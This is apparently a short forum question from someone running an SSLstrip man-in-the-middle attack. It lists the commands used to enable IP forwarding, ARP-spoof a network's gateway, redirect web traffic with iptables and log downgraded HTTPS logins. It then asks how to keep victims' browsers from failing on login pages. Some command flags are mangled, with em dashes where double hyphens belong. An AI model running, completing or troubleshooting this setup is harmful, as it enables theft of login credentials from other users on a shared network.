SSLSTRIP crashes internet connection, how do I avoid this?

While experienting with sslsrip, this code is what I’ve been using

echo 1 > /proc/sys/net/ipv4/ip_forward

cat /proc/sys/net/ipv4/ip_forward (returned with NUM 1)

arpspoof -i wlan0 192.168.1.1 (gateway is just being used so that I can sniff the whole network)

iptables—flush

iptables -t nat -A PREROUTING -p tcp—destination-port 80 -j REDIRECT—to-port 8080

sslstrip -a -f -k -l 8080
(creates sslstrip.log)

unfortunatly on several site logins, internet explorer crashes, saying it cant connect to the web page. How can I fix this?